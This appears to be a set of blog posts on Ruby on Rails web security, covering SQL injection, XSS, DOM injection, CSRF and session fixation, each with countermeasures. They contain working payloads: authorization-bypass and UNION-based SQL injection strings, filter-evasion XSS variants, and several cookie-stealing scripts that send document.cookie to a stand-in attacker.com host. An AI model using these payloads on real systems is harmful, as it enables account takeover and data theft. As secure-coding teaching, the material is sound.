Controller User Input Validation

One of the most important security activity for a web application, according to the OWASP Top Ten security flaws, is to validate all user input. When validating it is important to use a whitelist and not a blacklist approach. That means you should check whether the input has the correct format or includes the allowed values, and reject it if it does not. For example, it could allow plain text and the <b>, <em> and <u> HTML tags to write bold, italic or underlined. Use Rails' whitelist plugin (http://svn.techno-weenie.net/projects/plugins/white_list/) to realize a whitelist HTML check. Ablacklist, in contrast, looks for invalid input or attack signatures, but this can hardly be all-inclusive.
 
 
Rails has its own validation framework. With functions like validates_numericality_of(), which checks whether a value is numerical, you can check the integrity in the model, that means when assigning a value to a property of the model. However, oftentimes integrity has to be checked in the controller, as well, for example when queryingdata or sending back user input. Therefore, the author has created a validation framework which checks the integrity of a value according to what is expected. You can test for a specific type, you can declare a list of allowed values, a minimum and maximum length, or you can make sure that the value has a specific format (with a regular expression). If validation fails, a default value will be returned. The signature of the validation method is the following:
 
parseparam(vpstr, vdefault, vtype, vpositivelist, vmatchregexpr, vmin, vmax)
 
Parameters:
vpstr – the value to be validated
vdefault – will be returned if the validation fails
vtype – the expected type of vpstr. This can be bool (for a Boolean value), int (for an Integer), str (for a string), email (for an email address), htmlescape (to escape HTML characters in vpstr)
vpositivelist – a whitelist with allowed values. This can be an array, as in %w("f","m") for strings, or a range, as in 1..99 for integers, and 'a'..'z' for strings. (optional)
vmatchregexpr – a regular expression to be validated against; only available for thestring type. (optional)
vmin – the minimum length of vpstr. (optional)
vmin – the maximum length of vpstr. (optional)
 
The following shows several examples of how to use the validation method:
 
# A gender can be male or female:
gender = parseparam( params[:gender], "f", "str", %w("m", "f"))
 
# A year can be between 0 and 2007:
year = parseparam( params[:year], 2007, "int", 0..2007)
 
# A first name has to be between 2 and 30 characters in length
# and it has to start with a capital letter, followed by any
# number of characters
fname = parseparam( params[:name], "", "str", nil,
/\A[A-Z]+[A-Za-z.]*\z/, 2, 30)
 
# A file name may be alphanumerical and may contain .-+_
file = parseparam( params[:file], "", "str", nil, /^[\w\.\-\+]+$/)
 
The last example seems to validate for a valid file name, however it is prone to user agent injection, a file name with embedded JavaScript, such as file.txt\%0A<script>alert('hello')</script>, passes the filter. This is due to the widespread belief that ^matches the beginning of a string and $ the end, as in other programming languages. In Ruby, however, these characters match the begining and end of a line, so the above string passes the filter, as it contains a line break (%0A). The correct sequences for Ruby are \A and \z, so the expression from above should read /\A[\w\.\-\+]+\z/.
 
Please download the user input validation framework, you can freely use it and post your comments. Thanks.
 

to_json Cross Site Scripting security issue (XSS)

Bart t. B. brought the following to_json security issue to my attention, the Rails Trac at http://dev.rubyonrails.org/ticket/8371 has more on that:

To json is almost only used for injecting object hashes into javascript.

var client = <%= client.to_json %>;

Because to_json does not escape its values, it's easy to construct a Cross Site Scripting exploit. If client has a name attribute, to_json will come up with something like: var client = {attributes: {name: "TEST"}};

If we change the name to say: TEST"}}; alert('XSS!!') ;a={{" we have no problem in the rest of our application, as we use <%= h client.name %>, but when we render our javascript, there is a problem:

var client = {attributes: {name: "TEST"}}; alert('XSS!!');a={{""}};

There is currently no easy way to safely escape to_json as escaping the result will result in a broken hash. The implementation of the current to_json is as such that no difference is made between the value and the key, making an easy fix dificult.

This seems to be somewhat refactored in the trunk, but the problem is still there. I understand that this is not really a to_json problem, but as 99% of the users probably uses it this way, something like a :secure_values option would be nice.

SQL Injection

SQL injection attacks aim at injecting database queries by manipulating web application parameters. Almost all SQL injection attacks are immediately reflected, that means a malicious parameter moves from the client to the server, will be put together to a SQL query, sent to the database server and the result will be returned to the client. A popular goal of SQL injection attacks is to bypass authorization. But also reading of arbitrary data or manipulating it can be done with this form of attacks. The following shows two typical Rails function calls to find data in the database, in this case all projects with a specific name.
 
Project.find(:all, :conditions => "name = '" + params[:name] + "'")

Project.find(:all, :conditions => "name = '#{params[:name]}'")

These examples are vulnerable to SQL injection attacks as an attacker could enter ' OR 1 — and thus, after Rails substituted it into SQL, the query string will be: SELECT * FROM projects WHERE name = '' OR 1 –'

The boolean value 1, and thus name = '' OR 1 is always evaluated to true. The double dash signs start an SQL comment, everything after it will be ignored. Consequently, this query will return all projects in the database and present it to the user. A number sign (#) also starts a comment and /* starts a multi-line comment.

Bypassing Authorization

Many web applications include access control, and users have to log in to the application to use it. I.e. they have to enter their login credentials. The following shows a typical database query in Rails to find the first record in the userstable which matches the login credentials parameters supplied by the user. If the attacker entersthe following user names and passwords, he will get access to the application.
 

User.find(:first, "login = '#{params[:name]}' AND password =
'#{params[:password]}'")

params[:name] = ' OR '1'='1
params[:password] = ' OR '2'>'1
params[:name] = ' OR login LIKE '%a%
params[:password] = ' OR ISNULL(1/0) #

Unauthorized Reading

This section shows a different technique which is based on manipulating queries that present information to the user. This can be web page titles, articles, comments et cetera.

In the example from above, where all projects with a specific name are queried, an attacker can join in the result from a second SELECT statement using the UNION instruction. UNION connects two queries and returns the data in one set, and if the column's data types do not match, they are being converted. The following example introduces SQL column renaming with the AS instruction. It returns a few columns only (contrary to the overall asterisk (*) selector), and renames them according to the column names in the projects table. The actual number of columns can be determined by adding more ones (1) to the SELECT statement. Consequently, the web application believes to return all project names and its descriptions, however, it presents all login names and passwords for the application.

# injecting "') UNION SELECT id,login AS name,password AS
description,1,1,1,1 FROM users /*" will result in:

SELECT * FROM projects WHERE (name = '') UNION SELECT id,login AS
name,password AS description,1,1,1,1 FROM users /*')

Countermeasures

In many web applications that are vulnerable to SQL injection, you can inject another query using the batch processing operator (;). Thus other instructions, apart from SELECT, can be appended, namely INSERT, UPDATE or DELETE to add, modify or remove records from any table in the database. This is not possible in Rails, as a statement may not contain a semicolon beyond quoted strings.

 

When building a filter against malicious input, you should not search and replace strings. For example, a filter that removes the string INSERT will be useless if the attacker enters INSINSERTERT, because the filter will make the attack work.

 

Ruby on Rails has a built in filter for special SQL characters, which will escape ' , " , NULL character and line breaks. Especially the single quote characters is absolutely necessary for SQL injection attacks on Rails applications. Normally, this filter will be applied automatically, but sometimes has to be applied manually. In any SQL fragment, especially in any condition string (:conditions => "…"), the connection.execute() or the find_by_sql() function, it is not advisable to use string appending (string1 + string2 ), or the conventional Ruby #{…} mechanism to substitute strings. The correct way is to use the bind variable facility, which has the following syntax:

 

[string containing question marks,
substitution list for the question marks]

As in:

User.find(:first, :conditions => ["login = ? AND password = ?", params[:name],
params[:password]])

Or the same in Rails 1.2:

User.find(:first, :conditions => {:login => params[:name],
:password => params[:password]})

XSS Countermeasures

It is very important to filter malicious input, but when it comes to user agent injection, it is also important that the output does not contain executable code. I will introduce input filters afterwards. In general, it checks the user input to be of a specific format, and if not, rejects it with an error message. But importantly, the error message should not be too specific and should not re-display the input without output filtration.

Output filtration most commonly happens in Rails' view part of the application. If there is absolutely no HTML allowed in the user input, you can filter it with Ruby's escapeHTML() (or its alias h()) function which replaces the possibly malicious input characters &,",<,> with its uninterpreted representations in HTML (&amp;, &quot;, &lt;, &gt;). However, it can easily happen that the programmer forgets to use it just in one place, and so the web application is vulnerable again. It is therefore recommended to use the Safe ERB (http://www.kbmj.com/~shinya/rails/) plugin which will throw an error if so-called tainted strings are not escaped. In Ruby, a string will be tainted if it comes from an external source (for example, from the database, a file or via the Internet) and can be untainted by Safe ERB's modified escapeHTML() function or the Object.untaint() function.

However, if your application's users need text formatting in their input, it is best to use a markup language which is not interpreted by the user agent, but by the web application. For example there is RedCloth (http://whytheluckystiff.net/ruby/redcloth/) for this.

As for character encoding, you should enforce the user's browser to use the encoding you chose. In Rails you can enforce ISO-8859-15 by adding the following lines to application.rb:

after_filter :set_charset

private
 def set_charset
   content_type = @headers["Content-Type"] || 'text/html'
   if /^text\//.match(content_type)
      @headers["Content-Type"] = "#{content_type}; charset=ISO-8859-15"
   end
 end

And in the controller you can convert encodings, for example ISO-8859-15 to UTF-8, with this:

sconvcomment = Iconv.new('ISO-8859-15', 'UTF-8').iconv(params[:comment])

Defeating input filters for injection

Especially malicious input in URLs will look suspicious to someonewho has heard of these attacks, or at least to a security scanner. So an attacker will try to hide suspicious parts from the victim or the security scanner. For a human being thiscan be as easy as displaying a tidy link as an image, but in fact the image is linked to a malicious URL. Or the malicious part can be hidden in a very long URL where it does notstrike. When it comes to automatic scanners, the attacker has to use different technologies. If the web applications filter does not remove all HTML tags fromthe input data, but uses a blacklist filter, the attacker might use the following alternatives to the <script> tag, which work in most web browsers:
 
  • <<script> (if the scanner filters <script> and does comparison of the string inside the first matching bracket pairs)
  • <scrscriptipt> (bypasses scanners that remove the word script)
  • <script/src=… (bypasses scanners that look for <script> or <script xsrc=…)
  • <script a=">" " xsrc=… (bypass a scanner which allows <script>, but not <script xsrc=…)
  • or put a line feed after each character (works in Internet Explorer 6.0)

There are many more possibilities, and you have to take other tags into account, suchas <img>, <table>, <a>, or event handlers (on…). More examples are found at http://ha.ckers.org/xss.

Another very effective way to hide angle brackets or other characters from a security scanner is to use a different character encoding that the web browser might be able to process,but the web application might not. There are a lot of possibilities to encode characters, but of course the browser has to be set to read the document in the encoding. If the encoding is set to Auto-Select in Internet Explorer andthere is an UTF-7 or -8 encoded string in the first 4096 bytes, it will automatically treat the document as UTF-7 or -8.
 
If the user has set this option and/or the web application does not send a default character encoding, as it is the case with Railsapplications by default, cryptic UTF-8 encoded strings like the following will pop up a message box, if injected.
 
<IMG xsrc=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;
&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;
&#39;&#41;>
 
And if the user has set his browser to UTF-7 encoding, injecting the following will pop up a message box. Note that it does not include any angle brackets, so it might bypassfilters that look for them.

+ADw-SCRIPT+AD4-alert('vulnerable');+ADw-/SCRIPT+AD4-

DOM Injection Attacks

Besides the classic Cross-Site Scripting where the playload moves to the server and back, there is another form of user agent injection attacks, which does not depend on the payload to be embedded in the response, but rather on thepayload in the Document Object Model (DOM). The DOM is the standard object model in browsers to represent HTML documents and meta data in an object-oriented way, whichis provided to the JavaScript code. The most important object is the document object, which not only includes all elements from the HTML document, but also meta-objects,such as URL, URLUnencoded, location (also in window.location) or referrer, which contain the complete URL of the current document or the referring one, respectively. There aremany web applications that access the DOM, and a few parse the meta-objects mentioned above, which makes them vulnerable to DOM-based injection, as in http://www.webappsec.org/projects/articles/071105.html. Here is an example of avulnerable script, which is supposed to extract the user's name from the document's URL (by searching for "name=" and returning the string after it):
 
Hello <script> var pos = document.URL.indexOf("name=")+5;

document.write(document.URL.substring(pos,document.URL.length));
</script>

Do not think that everyone enters his real name like Joe or Alice, take a look at this user name:

http://www.domain.com/welcome?name=
<script>alert(document.cookie)</script>

And if the server filters the parameter name, then xyzname will not be filtered, but the script in the document will use the first occurence:
 
http://www.domain.com/welcome?xyzname=
<script>alert(document.cookie)</script>&name=Alice
 
Notice the number sign (#) here, it is usually used to refer to a part of a document and never sent to the server, so any server-side checks will have no effect, but the local script will use the malicious code nevertheless.
 
http://www.domain.com/welcome#name=
<script>alert(document.cookie)</script>
 
To be continued … 

Cross-Site Scripting (User Agent Injection) Attack Methods

User Agent Injection are those attacks where malicious, client-side executable code is being injected, which means malformed request parameters are passed to the web application.The input will then be processed by the server and stored on the web server to return it to a victim at a later time or to the attacker to take immediate effect. When the victim requests the stored code from the server, it will be executed on the client-side. JavaScript is by far the most frequently used scripting language for user agent injection,but almost always in conjunction with HTML.
 

Cookie theft

The user receives a cookie, a 32-byte number in Rails, after the login process to identify him insubsequent requests. Consequently, stealing cookies is a severe problem for web applications,and it is by far the most frequent goal of Cross-Site Scripting (XSS) attacks. In JavaScript you can use the document.cookie variable to read and write the document's cookie. JavaScript enforces the same origin policy, that means a script from one origin cannot access properties of a document of another origin. However, you can access it if you embed the code directly in the HTML document. The following is an example of an injection that displays your cookie in the output of your web application:

 
<script>document.write(document.cookie);</script>

As this will present the cookie to the victim, it is not useful for an attacker, so he will use a method which will list the cookies in an attacker's web server access log. The following loads a non-existantimage from an URL like http://www.attacker.com/ plus the cookie:
 
<script>document.write('<img xsrc="http://www.attacker.com/' +
document.cookie + '">');</script>

 

Or without the <script> tag; loads it when the victim's mouse moves over the text:

<b onMouseOver="self.location.href='http://www.attacker.com/' +
document.cookie">bolded text</b>

Or the reflected variant in an URL; redirects the victim:

http://www.domain.com/account?name=<script>document.
location.replace('http://www.attacker.com/'+
document.cookie);</script>

Defacement

With web page defacement an attacker can do a lot of things, for example, present false information or lure the victim on the attackers web site to steal the cookie, login credentials or other sensitive data. He does that by injecting malicious HTML/JavaScript code into a parameter which will presented to the user(s), such as a comment feature or a message board. If there is no filter at all, it will be straightforward for the attacker to study the internals of the HTML source code to construct a page which contains links and forms that point to a different web site.

 

This is an example of a refelcted defacement in an URL. It will display a different web site (from x4u.at.hm in this case) as part of the original one if the username parameter is not filtered and will be redisplayed. The URL deliberately does not contain http to bypass possible filters.
 
http://www.website.com/login?username=<iframe xsrc=//x4u.at.hm/>

Redirection

Another way to get sensitive data from the user is toredirect the victim on a fraudulent web site which looks and behaves exactly as the original one. If the victim enters data, the fraudulent web site will log it and send it to the original web site. The following two examples can be used to redirect the victim when the containing site is loaded:
 
<!– redirect to the given URL which sends the cookie to an attacker–>
<script>document.location.replace('http://www.attacker.com/'+
document.cookie);</script>

<!– redirect after 0 seconds to the given URL
bypasses filters for <script> –>
<meta http-equiv="refresh" content="0; URL=http://www.attacker.com/">

to be continued…

Cross Site Request Forgery (CSRF) and GET & POST

The W3C advises when to use GET requests:

Use GET if:

  • The interaction is more like a question (i.e., it is a safe operation such as a query,read operation, or lookup).

Use POST if:

  • The interaction is more like an order, or
  • The interaction changes the state of the resource in a way that the user would perceive(e.g., a subscription to a service), or
  • The user be held accountable for the results of the interaction.

 

It is a widespread belief that choosing POST over GET requests for actions changing the state can prevent attacks known as session riding or Cross Site Reference (or Request) Forgery (CSRF). An attacker can prepare a special inconspicuous link, which points to an action that changes the state of the web application, and put it in an email or on a website. If the user is logged in to the web application and clicks on that link, the browser will automatically send the users session identifer, and the attacker can place an order, change the password et cetera in the name of the user. There are also forms of this attack where the URL of an image on a web site is this prepared link and thus the action will be executed automatically when the victim views the web site.

This class of attacks cannot be avoided by accepting only POST for some requests. Even POST requests can be sent automatically or by a click on a link. Include a security token in each request, as the security extensions against session riding do, to avoid these attacks. Another, better, plugin to include a security token in forms is the csrf_killer.

 

In order not to allow state changes in a GET request, you can use the verify method in the controller:

verify :method => :post, :only => [ :remove_tasklist ],
:redirect_to => { :action => :list }

Ruby regular expression fun

I found several regular expressions to validate all sorts of things, URLs, names, email addresses, et cetera. Here is an example for an email address validation, I found:
 
/^([^@\s]+)@((?:[-a-z0-9]+\.)+[a-z]{2,})$/i 
 
How do you like the following email address, which validates fine with this filter?:
 
hre32443_d.@ter.com%0A<script>alert('hello')</script>
 
%0A is a line break.
^$ in Ruby match LINE begin and end, not the overall begin and end, \A and \z does the job! The same JavaScript works in the part before the @. This is a first step to disallow HTML and line breaks:
 
/\A([^@\s<>'"]+)@((?:[-a-z0-9]+\.)+[a-z]{2,})\z/i 
 
A whitelist approach is always better (are there other characters in a name?):
 
/\A([\w\.\-\+]+)@((?:[-a-z0-9]+\.)+[a-z]{2,})\z/i
 
Edit: This will match most of today's email addresses, without comments. For email addresses compliant to the RFC 822, you can use this regular expression.

Session fixation in Rails

These attacks focus on fixing a user's session identifier known to the attacker, and forcing the user's browser and the web application into using this identifier. The first step in such attacks is to create a valid session identifier. While other session managements (in PHP, for example) accept arbitrary identifiers, and create a valid session with the session identifier if it does not exist yet, this is not possible in Ruby on Rails.Rails accepts only session identifiers which have been generated by itself, and will issue a new one if you propose an arbitrary one. So with Rails applications, an attacker has to access the site of web application in order to obtain a valid session identifier.

The next step is to force a victim's web browser into using this identifier, which is know as the actual session fixation. According to RFC2965, a website cannot set a cookie for another domain. So the attacker cannot set a cookie for the web application by luring him on a site that he controls. One possibility to fixate the session, which requires the ability to sniff and modify data traffic between the user and the web application, is to change the session identifier in a response from the server. Or, if he has access to the user's DNS-server, he can redirect requests to a server taken over by the attacker, which forwards and modifies request to and from the original web server. The next two possibilities to fixate the session have to do with User Agent Injection (also: XSS) vulnerabilities. The first approach to do this is to change the cookie by setting document.cookie to a desired value, for example in JavaScript:

 

document.cookie='_session_id=16d5b78abb28e3d6206b60f22a03c8d9';

However, a web application administrator might know this vulnerability, and therefore has an appropriate flter for that. A less known approach is to set the cookie with an injected <META> HTML tag. Normally, <META> tags belong between the <HEAD> tags at the beginning of the document, however, it will be processed by the browser anywhere in the document. Inject this line, for example:

<meta http-equiv=Set-Cookie content="_session_id=
4cf69dc5fee46251bdc1f99ef55f52b6">

After the session identifier has been successfully injected into the user's browser and he logged in to the trap session, the attacker will be able to use the session, until the user logs out.

A good countermeasure against creating a valid session identifier is to not to issue them on pages that everyone can access. That means, for example the login page, should not send a session identifier to the yet unauthorized user, do so only after the user has been authorized. With the following you can turn the use of sessions in a specific controller off:

 

session :off # turn it off for any action
# or turn it off for any but these actions
session :off, :except => [ :change_password, :edit, :delete ]

However, you have to bear in mind that a request to any URL which issues a session identifier to logged in users also issues it to unauthorized users, but redirects then. And if the application is open to everyone, i.e. you can sign up on your own, you cannot prevent an attacker from signing up and retrieving a valid session identifier.

One of the most effective countermeasures is to issue a new session identifier after a successful login. That way, an attacker cannot use the fixed session identifier. By the way,this is also a good countermeasure against session hijacking. The following lines create a new session in Rails:
 

reset_session